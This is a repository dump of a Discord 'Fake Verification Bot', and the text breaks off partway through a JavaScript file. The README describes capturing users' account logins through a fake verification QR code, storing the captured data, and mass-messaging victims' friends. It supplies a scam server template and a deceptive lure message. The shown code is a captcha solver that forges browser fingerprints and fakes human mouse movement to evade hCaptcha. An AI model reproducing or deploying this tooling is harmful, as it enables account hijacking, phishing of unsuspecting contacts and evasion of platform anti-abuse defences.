├── LICENSE
├── README.md
├── async_hcaptcha
├── __init__.py
├── __pycache__
│ ├── __init__.cpython-311.pyc
│ ├── asynchcaptcha.cpython-311.pyc
│ └── utils.cpython-311.pyc
├── asynchcaptcha.py
├── utils.py
└── window.js
├── blacklist.txt
├── config.json
├── driver
└── chromedriver.exe
├── main.py
├── requirements.txt
└── setup.bat
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 a5traa
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
[Discord] - Fake Verification Bot (V1.0.0)
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 | [Discord] - This Bot is a Script Gathering for Windows systems written in Python.
24 |
25 |
26 | My work was never created to be used in a malicious way. I noticed that it was used to scam other people and I'm sorry about that.
27 | I'm thinking of not deleting this directory to not avoid further damage.
28 |
29 |
30 |
31 | ## Disclaimer
32 |
33 | |Bot was made for Educational purposes|
34 | |-------------------------------------------------|
35 | This project was created only for good purposes and personal use.
36 | By using this Bot, you agree that you hold responsibility and accountability of any consequences caused by your actions.
37 |
38 | ## Features
39 |
40 | - Async QR Code Management
41 | - Using Websockets (no browser used)
42 | - Personal QR Code (visible only to the person passing the verification)
43 | - Saves the information in a json file
44 | - Can gives a role to the user after his verification
45 | - Can send a message to all the user's DMs + all user's Friend
46 | - Possibility to define a logs channel
47 | - Easy to use + Intuitive UI (like my [SelfBot](https://github.com/AstraaDev/Discord-SelfBot))
48 |
49 | ## How To Setup/Install
50 |
51 | #### First of all please set your informations in the config.json file!
52 | ```json
53 | {
54 | "botToken": "BOT-TOKEN-HERE", #For more information, read below
55 | "logs_channel_id": "LOGS-CHANNEL-ID-HERE", #ID of the channel to which the bot logs will be sent
56 |
57 | "prefix": "PREFIX-HERE",
58 | "command_name": "COMMAND-NAME-HERE",
59 |
60 | "give_role": false, #Can take the value: true or false
61 | "role_name": "ROLE-NAME-HERE", #Name of the role you want to give to the user after scanning the QR Code
62 |
63 | "mass_dm": 0, #Can take the value: 0 (Disable), 1 (current user's dms), 2 (user's friends), 3 (Current DMs + Friends)
64 | "message": "MESSAGE-HERE" #Message you want to send to all user's DMs after scanning the QR code
65 | }
66 | ```
67 | #### Set up and invite your Bot.
68 | - Create a bot on the [Discord Developer page](https://discord.com/developers/applications)
69 | - Enable all instances in the "Bot" tab
70 | - Invite your bot using this [invite](https://discord.com/api/oauth2/authorize?client_id=CLIENTID&permissions=8&scope=applications.commands%20bot) (replace CLIENTID by the ID of your Bot)
71 |
72 | #### 1st・Installation (Automated installation)
73 | ```
74 | Launch the setup.bat file. A new file will be created. You will only have to launch it.
75 | ```
76 |
77 | #### 2nd・Installation (Manual installation)
78 | ```
79 | $ git clone https://github.com/FuckingToasters/Fake-Verification-Bot.git
80 | $ python -m pip install -r requirements.txt
81 | $ python main.py
82 | ```
83 |
84 | ## Additional Informations
85 | General Informations:
86 | - If you have a problem, [CLICK HERE](https://youtu.be/B5xxURQtd3A) to watch the YouTube video.
87 | - If you find any malfunction, contact me on Discord: Astraa#6100 or join my [Discord Server](https://dsc.gg/astraadev).
88 |
89 | Nice to Have:
90 | - Discord Scam Guild Template: https://discord.new/5QaMySZDeMAB
91 | - Mass DM Message Template: `Hey umm idk what happend or if it's really you but it was your name and the same avatar and you sent a girl erm***** stuff like what the fuck? check #exposed and you'll see. Anyways until you explain what happend im blocking you. sorry if this is an understanding but i do not wanna take risks with having creeps on my friendlist.`
92 |
93 |
94 | ## Example
95 | 
96 |
97 |
98 | ## Credits
99 | Many thanks to [RuslanUC](https://github.com/RuslanUC) for [RemoteAuthClient](https://github.com/RuslanUC/RemoteAuthClient) and [TurfuFrogy](https://github.com/TurfuFrogy) for developing the database part of the tool.
100 |
--------------------------------------------------------------------------------
/async_hcaptcha/__init__.py:
--------------------------------------------------------------------------------
1 | from .asynchcaptcha import AioHcaptcha
2 |
--------------------------------------------------------------------------------
/async_hcaptcha/__pycache__/__init__.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuckingToasters/Fake-Verification-Bot/e4ebce7ec27898b0f9764d6ac6fc49e1153c07f3/async_hcaptcha/__pycache__/__init__.cpython-311.pyc
--------------------------------------------------------------------------------
/async_hcaptcha/__pycache__/asynchcaptcha.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuckingToasters/Fake-Verification-Bot/e4ebce7ec27898b0f9764d6ac6fc49e1153c07f3/async_hcaptcha/__pycache__/asynchcaptcha.cpython-311.pyc
--------------------------------------------------------------------------------
/async_hcaptcha/__pycache__/utils.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuckingToasters/Fake-Verification-Bot/e4ebce7ec27898b0f9764d6ac6fc49e1153c07f3/async_hcaptcha/__pycache__/utils.cpython-311.pyc
--------------------------------------------------------------------------------
/async_hcaptcha/asynchcaptcha.py:
--------------------------------------------------------------------------------
1 | import re
2 | from asyncio import get_event_loop, sleep as asleep, create_subprocess_shell, subprocess
3 | from base64 import b64decode
4 | from concurrent.futures import ThreadPoolExecutor
5 | from datetime import datetime
6 | from hashlib import sha1
7 | from json import dumps as jdumps, loads as jloads
8 | from logging import getLogger
9 | from math import ceil, floor
10 | from random import randint, choice
11 | from time import time
12 | from typing import Tuple
13 | from urllib.parse import urlparse
14 | from os.path import join as pjoin, dirname, realpath
15 | from aiohttp import ClientSession
16 | from selenium.webdriver import Chrome, ChromeOptions
17 | from selenium.webdriver.chrome.service import Service
18 |
19 | from .utils import mouse_curve, getUrl
20 |
21 | import hcaptcha_challenger
22 | hcaptcha_challenger.logger.remove() # TODO: Redirect logs from loguru to logging or use loguru instead of logging
23 |
24 | log = getLogger("AsyncHcaptcha")
25 |
26 | with open(pjoin(dirname(realpath(__file__)), "window.js")) as f:
27 | w = f.read()
28 | w = w.replace(" ", "")
29 | w = w.replace("\n", "")
30 | w += ";const window = new Window();"
31 | _WINDOW = w
32 |
33 | class MotionData:
34 | def __init__(self, x=0, y=0, controller=None):
35 | self._point = (x, y)
36 | self._meanPeriod = 0
37 | self._meanCounter = 0
38 | self._data = []
39 | self._controller = controller
40 |
41 | @property
42 | def timestamp(self):
43 | return self._controller.timestamp
44 |
45 | @timestamp.setter
46 | def timestamp(self, val):
47 | self._controller.timestamp = val
48 |
49 | def moveTo(self, x, y, s):
50 | curve = mouse_curve(self._point, (x, y), s)
51 | for pt in curve:
52 | self.addPoint(*pt)
53 | self._point = self._data[-1][:2]
54 |
55 | def addPoint(self, x, y):
56 | self.timestamp += randint(20, 40)
57 | self._data.append([x, y, self.timestamp])
58 | if self._meanCounter != 0:
59 | delta = self._data[-1][2] - self._data[-2][2]
60 | self._meanPeriod = (self._meanPeriod * self._meanCounter + delta) / (self._meanCounter + 1)
61 | self._meanPeriod += 1
62 |
63 | @property
64 | def data(self):
65 | return self._data
66 |
67 | @property
68 | def mp(self):
69 | return self._meanPeriod
70 |
71 | @property
72 | def point(self):
73 | return self._point
74 |
75 | class MotionController:
76 | def __init__(self, timestamp: int, start_point: Tuple[int, int]):
77 | self.timestamp = timestamp or time()
78 | self._mm = MotionData(*start_point, controller=self)
79 | self._md = MotionData(controller=self)
80 | self._mu = MotionData(controller=self)
81 |
82 | self._lastPoint = start_point
83 |
84 | def move(self, x, y, s):
85 | self._mm.moveTo(x, y, s)
86 | self._lastPoint = self._mm.point
87 |
88 | def click(self, x=0, y=0):
89 | if not x and not y:
90 | x, y = self._lastPoint
91 | self._md.addPoint(x, y)
92 | self._mu.addPoint(x, y)
93 | self._lastPoint = (x, y)
94 |
95 | def get(self, mm=True, md=True, mu=True):
96 | r = {}
97 | if mm:
98 | r["mm"] = self._mm.data
99 | r["mm-mp"] = self._mm.mp
100 | if md:
101 | r["md"] = self._md.data
102 | r["md-mp"] = self._md.mp
103 | if mu:
104 | r["mu"] = self._mu.data
105 | r["mu-mp"] = self._mu.mp
106 | return r
107 |
108 | class AioHcaptcha:
109 | def __init__(self, sitekey, url, args, captcha_callback=None, autosolve=False, headers=None):
110 | self.sitekey = sitekey
111 | self.url = url
112 | self.domain = urlparse(url).netloc
113 | if "executable_path" in args:
114 | args["chromedriver"] = args["executable_path"]
115 | del args["executable_path"]
116 | if "node" not in args and "chromedriver" not in args:
117 | raise AttributeError("")
118 | self.args = args
119 | self.headers = headers
120 |
121 | autosolve = autosolve or not captcha_callback
122 |
123 | self._req = None
124 | self._start = None
125 | self._script = {}
126 | self._version = "21130e0"
127 | self._widgetId = ""
128 | self._question_callback = captcha_callback if not autosolve else self.autosolve
129 | self._retries = 0
130 |
131 | log.debug(f"Initialized {self.__class__.__name__} with "
132 | f"sitekey={self.sitekey}, url={self.url}, domain={self.domain}, args={self.args}, "
133 | f"autosolve={autosolve}, _question_callback={self._question_callback}.")
134 |
135 | async def _getN(self) -> str:
136 | if self._req["type"] == "hsw":
137 | log.debug("Generating proof with type = hsw.")
138 | token = self._req["req"].split(".")[1].encode("utf8")
139 | token += b'=' * (-len(token) % 4)
140 | d = jloads(b64decode(token).decode("utf8"))
141 | log.debug(f"Hsw url: {d['l']}/hsw.js")
142 | if f"hsw_{d['l']}" not in self._script:
143 | self._script[f"hsw_{d['l']}"] = await getUrl(f"{d['l']}/hsw.js")
144 | return await self._solve_hsw(d['l'])
145 | elif self._req["type"] == "hsl":
146 | log.debug("Generating proof with type = hsl.")
147 | await self._solve_hsl()
148 |
149 | async def _solve_hsw(self, sc: str) -> str:
150 | token = self._req["req"]
151 | script = self._script[f"hsw_{sc}"]
152 |
153 | async def _hsw_node():
154 | proc = await create_subprocess_shell(self.args["node"]+" -", stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
155 | stdout, _ = await proc.communicate((_WINDOW + "\n\n" + script + "\n\nasync function idk(){" + f"console.log(await hsw(\"{token}\"));" + "}\nidk();").encode("utf8"))
156 | data = stdout.decode("utf8").strip()
157 | return data
158 |
159 | async def _hsw_chromedriver():
160 | def _hsw():
161 | log.debug("Running chromedriver.")
162 | options = ChromeOptions()
163 | options.add_argument("--headless")
164 | options.add_argument("--disable-gpu")
165 | options.add_argument("--disable-extensions")
166 | options.add_argument("--no-sandbox")
167 | options.add_argument("--disable-dev-shm-usage")
168 | options.add_experimental_option('excludeSwitches', ['enable-logging'])
169 | driver = Chrome(service=Service(executable_path=self.args["chromedriver"]), options=options)
170 | res = driver.execute_script(f"{script}\n\nreturn await hsw(\"{token}\");")
171 | log.debug(f"Got proof result: {res}. Closing chromedriver...")
172 | driver.close()
173 | return res
174 | return await get_event_loop().run_in_executor(ThreadPoolExecutor(4), _hsw)
175 |
176 | if "node" in self.args:
177 | res = await _hsw_node()
178 | if not res:
179 | if "chromedriver" in self.args:
180 | return await _hsw_chromedriver()
181 | return res
182 | elif "chromedriver" in self.args:
183 | return await _hsw_chromedriver()
184 |
185 | async def _solve_hsl(self) -> str: # From https://github.com/AcierP/py-hcaptcha/blob/main/hcaptcha/proofs/hsl.py
186 | x = "0123456789/:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
187 | token = self._req["req"].split(".")[1].encode("utf8")
188 | token += b'=' * (-len(token) % 4)
189 | req = jloads(b64decode(token).decode("utf8"))
190 |
191 | def a(r):
192 | for t in range(len(r) - 1, -1, -1):
193 | if r[t] < len(x) - 1:
194 | r[t] += 1
195 | return True
196 | r[t] = 0
197 | return False
198 |
199 | def i(r):
200 | t = ""
201 | for n in range(len(r)):
202 | t += x[r[n]]
203 | return t
204 |
205 | def o(r, e):
206 | hashed = sha1(e.encode())
207 | t = hashed.digest()
208 | n = -1
209 | p = []
210 | for n in range(n + 1, 8 * len(t)):
211 | e = t[floor(n / 8)] >> n % 8 & 1
212 | p.append(e)
213 | l = p[:r]
214 | def index2(b,y):
215 | if y in b:
216 | return b.index(y)
217 | return -1
218 | return 0 == l[0] and index2(l, 1) >= r - 1 or -1 == index2(l, 1)
219 |
220 | def get():
221 | for e in range(25):
222 | n = [0 for _ in range(e)]
223 | while a(n):
224 | u = req["d"] + "::" + i(n)
225 | if o(req["s"], u):
226 | return i(n)
227 |
228 | result = get()
229 | hsl = ":".join([
230 | "1",
231 | str(req["s"]),
232 | datetime.now().isoformat()[:19].replace("T", "").replace("-", "").replace(":", ""),
233 | req["d"],
234 | "",
235 | result
236 | ])
237 | log.debug(f"Got proof result: {hsl}.")
238 | return hsl
239 |
240 | @property
241 | def _motionData(self) -> dict:
242 | return {
243 | "st": self._start + 1000 + randint(10, 100),
244 | "v": 1,
245 | "topLevel": {
246 | "inv": False,
247 | "st": self._start,
248 | "sc": {
249 | "availWidth": 1920, "availHeight": 1022, "width": 1920, "height": 1080, "colorDepth": 24,
250 | "pixelDepth": 24, "availLeft": 0, "availTop": 18, "onchange": None, "isExtended": True
251 | },
252 | "nv": {
253 | "vendorSub": "", "productSub": "20030107", "vendor": "Google Inc.", "maxTouchPoints": 0,
254 | "scheduling": {}, "userActivation": {}, "doNotTrack": "1", "geolocation": {}, "connection": {},
255 | "pdfViewerEnabled": True, "webkitTemporaryStorage": {}, "webkitPersistentStorage": {},
256 | "hardwareConcurrency": 8, "cookieEnabled": True, "appCodeName": "Mozilla", "appName": "Netscape",
257 | "appVersion": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36",
258 | "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36",
259 | "platform": "Win32", "product": "Gecko", "language": "en-US", "languages": ["en-US", "en"],
260 | "onLine": True, "webdriver": False, "bluetooth": {}, "clipboard": {}, "credentials": {},
261 | "keyboard": {}, "managed": {}, "mediaDevices": {}, "storage": {}, "serviceWorker": {},
262 | "virtualKeyboard": {}, "wakeLock": {}, "deviceMemory": 8, "ink": {}, "hid": {}, "locks": {},
263 | "mediaCapabilities": {}, "mediaSession": {}, "permissions": {}, "presentation": {}, "serial": {},
264 | "usb": {}, "windowControlsOverlay": {}, "xr": {},
265 | "userAgentData": {
266 | "brands": [
267 | {"brand": "Chromium", "version": "106"},
268 | {"brand": "Google Chrome", "version": "106"},
269 | {"brand": "Not;A=Brand", "version": "99"}
270 | ],
271 | "mobile": False,
272 | "platform": "Windows"
273 | },
274 | "plugins": [
275 | "internal-pdf-viewer",
276 | "internal-pdf-viewer",
277 | "internal-pdf-viewer",
278 | "internal-pdf-viewer",
279 | "internal-pdf-viewer"
280 | ]
281 | },
282 | "dr": "", "exec": False, "wn": [], "wn-mp": 0, "xy": [], "xy-mp": 0,
283 | },
284 | "session": [],
285 | "widgetList": [self._widgetId],
286 | "widgetId": self._widgetId,
287 | "href": self.url,
288 | "prev": {"escaped": False, "passed": False, "expiredChallenge": False, "expiredResponse": False}
289 | }
290 |
291 | async def _getMotionData(self) -> dict:
292 | j = self._motionData
293 |
294 | log.debug("Generating motionData...")
295 | mc = MotionController(j["st"], (randint(0, 480), randint(0, 270)))
296 | mc.move(randint(1440, 1920), randint(810, 1022), 35)
297 | mc.click()
298 | j.update(**mc.get())
299 |
300 | tmm = MotionController(self._start + 1000 + randint(100, 150), (randint(0, 480), randint(0, 270)))
301 | tmm.move(randint(1440, 1920), randint(810, 1022), 70)
302 |
303 | j["topLevel"].update(tmm.get(md=False, mu=False))
304 |
305 | log.debug(f"motionData={j}")
306 | return j
307 |
308 | async def _getMotionDataForSolved(self, answers: dict) -> dict:
309 | j = self._motionData
310 | j["dct"] = j["st"]
311 | ans = list(answers.values())
312 | sx = randint(300, 500)
313 | sy = randint(150, 300)
314 |
315 | log.debug("Generating motionData for solved captcha...")
316 | mc = MotionController(self._start, (randint(1440, 1920), randint(810, 1022)))
317 | mc.move(randint(0, 480), randint(0, 270), 40)
318 | mc.click()
319 | j["topLevel"].update(**mc.get())
320 |
321 | mc = MotionController(j["st"] + randint(50, 150), (sx, sy))
322 | for idx, ans in enumerate(ans):
323 | if idx == 9:
324 | mc.move(randint(330, 370), randint(420, 460), randint(10, 15))
325 | mc.click()
326 | if ans == "true":
327 | row = ceil(round((idx + 1) / 3))
328 | col = (idx + 1) % 3
329 | if col == 0:
330 | col = 3
331 | x = sx + 80 * row + randint(80, 160)
332 | y = sy + 80 * col + randint(80, 160)
333 | mc.move(x, y, randint(10, 15))
334 | mc.click()
335 | j.update(**mc.get())
336 | t = j["mm"][-1][2]
337 | if t / 1000 > time():
338 | s = (t - time() * 1000) / 1000
339 | await asleep(s)
340 | log.debug(f"motionData={j}")
341 | return j
342 |
343 | async def autosolve(self, question: str, tasklist: dict) -> dict:
344 | log.debug("Solving captcha with AutoSolver.")
345 | answers = {}
346 |
347 | imgs = []
348 | for uuid, url in tasklist.items():
349 | imgs.append(await getUrl(url, False))
350 |
351 | def _autosolve():
352 | hcaptcha_challenger.install()
353 | challenger = hcaptcha_challenger.new_challenger()
354 | if res := challenger.classify(question, imgs):
355 | return res
356 |
357 | res = await get_event_loop().run_in_executor(ThreadPoolExecutor(4), _autosolve)
358 | log.debug(f"AutoSolver result: {res}")
359 | if res:
360 | for idx, uuid in enumerate(tasklist.keys()):
361 | answers[uuid] = "true" if res[idx] else "false"
362 |
363 | log.debug(f"Answers: {answers}")
364 | return answers
365 |
366 | async def solve(self, retry_count=1, custom_params=None):
367 | if not custom_params:
368 | custom_params = {}
369 | log.debug(f"Solving with retry_count={retry_count}, custom_params={custom_params}")
370 |
371 | self._widgetId = "".join([choice("abcdefghijklmnopqrstuvwxyz0123456789") for _ in range(12)])
372 |
373 | # Initialize session with headers
374 | self._start = int(time() * 1000 - 2000)
375 | sess = ClientSession(headers={
376 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36",
377 | "Origin": "https://newassets.hcaptcha.com",
378 | "Referer": "https://newassets.hcaptcha.com/",
379 | "dnt": "1",
380 | "Sec-Fetch-Site": "same-site",
381 | "Sec-Fetch-Mode": "cors",
382 | "Sec-Fetch-Dest": "empty",
383 | "Accept-Language": "en-US,en;q=0.9",
384 | **(self.headers if isinstance(self.headers, dict) else {})
385 | })
386 |
387 | # Get latest hcaptcha version code
388 | api_js = await sess.get("https://js.hcaptcha.com/1/api.js")
389 | api_js = await api_js.text()
390 | versions = re.findall(r'captcha\\/v1\\/([a-z0-9]{4,8})\\/static', api_js)
391 | if versions:
392 | self._version = versions[0]
393 |
394 | log.debug(f"HCaptcha version: {self._version}")
395 |
396 | # Get site config
397 | siteconfig = await sess.post("https://hcaptcha.com/checksiteconfig", params={
398 | "v": self._version,
399 | "host": self.domain,
400 | "sitekey": self.sitekey,
401 | "sc": 1,
402 | "swa": 1
403 | })
404 |
405 | siteconfig_j = await siteconfig.json()
406 | log.debug(f"checksiteconfig response code: {siteconfig.status}")
407 | log.debug(f"SiteConfig: {siteconfig_j}")
408 | self._req = siteconfig_j["c"]
409 |
410 | # Get captcha
411 | captcha = await sess.post(f"https://hcaptcha.com/getcaptcha/{self.sitekey}", data={
412 | "v": self._version,
413 | "host": self.domain,
414 | "sitekey": self.sitekey,
415 | "hl": "en-US",
416 | "n": await self._getN(),
417 | "c": jdumps(self._req),
418 | "motionData": await self._getMotionData(),
419 | **custom_params
420 | }, headers={"Content-Type": "application/x-www-form-urlencoded"})
421 |
422 | log.debug(f"getcaptcha/{self.sitekey} response code: {siteconfig.status}")
423 |
424 | # Return captcha key if it in response
425 | captcha = await captcha.json()
426 | log.debug(f"GetCaptcha: {captcha}")
427 | if captcha.get("pass"):
428 | log.debug(f"Captcha solved!")
429 | return captcha["generated_pass_UUID"]
430 |
431 | key = captcha["key"]
432 | tasklist = {task["task_key"]: task["datapoint_uri"] for task in captcha["tasklist"]} # Format tasks to `uuid: url` format
433 |
434 | log.debug(f"Question: {captcha['requester_question']['en']}")
435 | self._start = int(time() * 1000 - 2000)
436 | if (answers := await self._question_callback(captcha["requester_question"]["en"], tasklist)) is None: # Get answers
437 | log.debug(f"Can't solve this captcha. Retrying...")
438 | self._retries += 1
439 | return await self.solve(retry_count, custom_params)
440 | log.debug(f"Got answers: {answers}, sending to /checkcaptcha/{self.sitekey}/{key}")
441 |
442 | # Send answers
443 | res = await sess.post(f"https://hcaptcha.com/checkcaptcha/{self.sitekey}/{key}", json={
444 | "answers": answers,
445 | "v": self._version,
446 | "serverdomain": self.domain,
447 | "job_mode": "image_label_binary",
448 | "c": jdumps(self._req),
449 | "n": await self._getN(),
450 | "sitekey": self.sitekey,
451 | "motionData": jdumps(await self._getMotionDataForSolved(answers))
452 | })
453 | log.debug(f"checkcaptcha/{self.sitekey}/{key} response code: {res.status}")
454 |
455 | r = await res.json()
456 | await sess.close()
457 |
458 | log.debug(f"CheckCaptcha response: {r}")
459 |
460 | # Return captcha key if it in response
461 | if r.get("pass"):
462 | log.debug(f"Captcha solved!")
463 | return r["generated_pass_UUID"]
464 |
465 | # Retry if failed to solve captcha
466 | if retry_count > 0 and self._retries < retry_count:
467 | log.debug(f"Retrying...")
468 | self._retries += 1
469 | return await self.solve(retry_count, custom_params)
--------------------------------------------------------------------------------
/async_hcaptcha/utils.py:
--------------------------------------------------------------------------------
1 | from math import ceil
2 | from random import choice
3 |
4 | from aiohttp import ClientSession
5 |
6 |
7 | def _bezier(xys, ts):
8 | result = []
9 | for t in ts:
10 | tpowers = (t ** i for i in range(4))
11 | upowers = reversed([(1 - t) ** i for i in range(4)])
12 | coefs = [c * a * b for c, a, b in zip([1, 3, 3, 1], tpowers, upowers)]
13 | result.append(list(sum([coef * p for coef, p in zip(coefs, ps)]) for ps in zip(*xys)))
14 | return result
15 |
16 | def mouse_curve(start_pos, end_pos, ln):
17 | ts = [t / ln for t in range(int(ln / 100 * 101))]
18 | control_1 = (start_pos[0] + choice((-1, 1)) * abs(ceil(end_pos[0]) - ceil(start_pos[0])) * 0.01 * 3,
19 | start_pos[1] + choice((-1, 1)) * abs(ceil(end_pos[1]) - ceil(start_pos[1])) * 0.01 * 3)
20 | control_2 = (start_pos[0] + choice((-1, 1)) * abs(ceil(end_pos[0]) - ceil(start_pos[0])) * 0.01 * 3,
21 | start_pos[1] + choice((-1, 1)) * abs(ceil(end_pos[1]) - ceil(start_pos[1])) * 0.01 * 3)
22 | xys = [start_pos, control_1, control_2, end_pos]
23 | points = _bezier(xys, ts)
24 | return [[ceil(x), ceil(y)] for x, y, in points]
25 |
26 | async def getUrl(url, decode=True):
27 | async with ClientSession() as sess:
28 | async with sess.get(url) as resp:
29 | data = await resp.content.read()
30 | if not decode:
31 | return data
32 | return data.decode("utf8")
--------------------------------------------------------------------------------
/async_hcaptcha/window.js:
--------------------------------------------------------------------------------
1 | function define(object, properties) {
2 | for (const name of Object.getOwnPropertyNames(properties)) {
3 | const propDesc = Object.getOwnPropertyDescriptor(properties, name);
4 | Object.defineProperty(object, name, propDesc);
5 | }
6 | };
7 |
8 | class Screen {
9 | get availWidth() { return 1920; }
10 | get availHeight() { return 1022; }
11 | get width() { return 1920; }
12 | get height() { return 1080; }
13 | get colorDepth() { return 24; }
14 | get pixelDepth() { return 24; }
15 | }
16 | Object.defineProperties(Screen.prototype, {
17 | availWidth: { enumerable: true },
18 | availHeight: { enumerable: true },
19 | width: { enumerable: true },
20 | height: { enumerable: true },
21 | colorDepth: { enumerable: true },
22 | pixelDepth: { enumerable: true },
23 | [Symbol.toStringTag]: { value: "Screen", configurable: true }
24 | });
25 |
26 | class Storage {
27 | constructor() {
28 | this.st = {}
29 | }
30 |
31 | key(index) {
32 | if (arguments.length < 1) {
33 | throw new TypeError("Failed to execute 'key' on 'Storage': 1 argument required, but only " + arguments.length + " present.");
34 | }
35 | const args = [];
36 | { let curArg = arguments[0]; args.push(curArg);}
37 | return this.st.key(...args);
38 | }
39 |
40 | getItem(key) {
41 | if (arguments.length < 1) {
42 | throw new TypeError("Failed to execute 'getItem' on 'Storage': 1 argument required, but only " + arguments.length + " present.");
43 | }
44 | const args = [];
45 | { let curArg = arguments[0]; args.push(curArg); }
46 | return this.st.getItem(...args);
47 | }
48 |
49 | setItem(key, value) {
50 | if (arguments.length < 2) {
51 | throw new TypeError("Failed to execute 'setItem' on 'Storage': 2 arguments required, but only " + arguments.length + " present.");
52 | }
53 | const args = [];
54 | { let curArg = arguments[0]; args.push(curArg); }
55 | { let curArg = arguments[1]; args.push(curArg); }
56 | return this.st.setItem(...args);
57 | }
58 |
59 | removeItem(key) {
60 | if (arguments.length < 1) {
61 | throw new TypeError("Failed to execute 'removeItem' on 'Storage': 1 argument required, but only " + arguments.length + " present.");
62 | }
63 | const args = [];
64 | { let curArg = arguments[0]; args.push(curArg); }
65 | return this.st.removeItem(...args);
66 | }
67 |
68 | clear() {
69 | if (!this || !module.exports.is(this)) {
70 | throw new TypeError("Illegal invocation");
71 | }
72 |
73 | return this.st.clear();
74 | }
75 |
76 | get length() {
77 | if (!this || !module.exports.is(this)) {
78 | throw new TypeError("Illegal invocation");
79 | }
80 |
81 | return this.st["length"];
82 | }
83 | }
84 | Object.defineProperties(Storage.prototype, {
85 | key: { enumerable: true },
86 | getItem: { enumerable: true },
87 | setItem: { enumerable: true },
88 | removeItem: { enumerable: true },
89 | clear: { enumerable: true },
90 | length: { enumerable: true },
91 | [Symbol.toStringTag]: { value: "Storage", configurable: true }
92 | });
93 |
94 | class Navigator {
95 | javaEnabled() { return false; }
96 | get appCodeName() { return "Mozilla"; }
97 | get appName() { return "Netscape"; }
98 | get appVersion() { return "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36"; }
99 | get platform() { return "Win32"; }
100 | get product() { return "Gecko"; }
101 | get productSub() { return "20030107"; }
102 | get userAgent() { return "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36"; }
103 | get vendor() { return "Google Inc."; }
104 | get vendorSub() { return ""; }
105 | get language() { return "en-US"; }
106 | get languages() { return ["en-US", "en"]; }
107 | get onLine() { return true; }
108 | get cookieEnabled() { return "true"; }
109 | get plugins() { return ["internal-pdf-viewer"]; }
110 | get mimeTypes() { return ["application/pdf", "text/pdf"]; }
111 | get hardwareConcurrency() { return 8; }
112 | }
113 | Object.defineProperties(Navigator.prototype, {
114 | javaEnabled: { enumerable: true },
115 | appCodeName: { enumerable: true },
116 | appName: { enumerable: true },
117 | appVersion: { enumerable: true },
118 | platform: { enumerable: true },
119 | product: { enumerable: true },
120 | productSub: { enumerable: true },
121 | userAgent: { enumerable: true },
122 | vendor: { enumerable: true },
123 | vendorSub: { enumerable: true },
124 | language: { enumerable: true },
125 | languages: { enumerable: true },
126 | onLine: { enumerable: true },
127 | cookieEnabled: { enumerable: true },
128 | plugins: { enumerable: true },
129 | mimeTypes: { enumerable: true },
130 | hardwareConcurrency: { enumerable: true },
131 | [Symbol.toStringTag]: { value: "Navigator", configurable: true }
132 | });
133 |
134 | function Window() {
135 | const window = this;
136 | this._globalProxy = this;
137 | let timers = Object.create(null);
138 | let animationFrameCallbacks = Object.create(null);
139 | this._document = {
140 | "origin": "https://captcha/",
141 | "body": {"innerText": "", "innerHTML": ""},
142 | "getElementById": () => {},
143 | };
144 | this._parent = this._top = this._globalProxy;
145 | this._length = 0;
146 | this._commonForOrigin = {
147 | [this._document.origin]: {
148 | localStorageArea: new Map(),
149 | sessionStorageArea: new Map(),
150 | windowsInSameOrigin: [this]
151 | }
152 | };
153 |
154 | this._currentOriginData = this._commonForOrigin[this._document.origin];
155 |
156 | this._localStorage = new Storage();
157 | this._sessionStorage = new Storage();
158 | const navigator = new Navigator();
159 | const screen = new Screen();
160 |
161 | define(this, {
162 | get length() { return window._length; },
163 | get window() { return window._globalProxy; },
164 | get frameElement() { return undefined; },
165 | get frames() { return window._globalProxy; },
166 | get self() { return window._globalProxy; },
167 | get parent() { return window._parent; },
168 | get top() { return window._top; },
169 | get document() { return window._document; },
170 | get navigator() { return navigator; },
171 | get screen() { return screen; },
172 | get localStorage() { return this._localStorage; },
173 | get sessionStorage() { return this._sessionStorage; }
174 | });
175 |
176 | let latestTimerId = 0;
177 | let latestAnimationFrameCallbackId = 0;
178 |
179 | this.setTimeout = function (fn, ms) {
180 | const args = [];
181 | for (let i = 2; i < arguments.length; ++i) {
182 | args[i - 2] = arguments[i];
183 | }
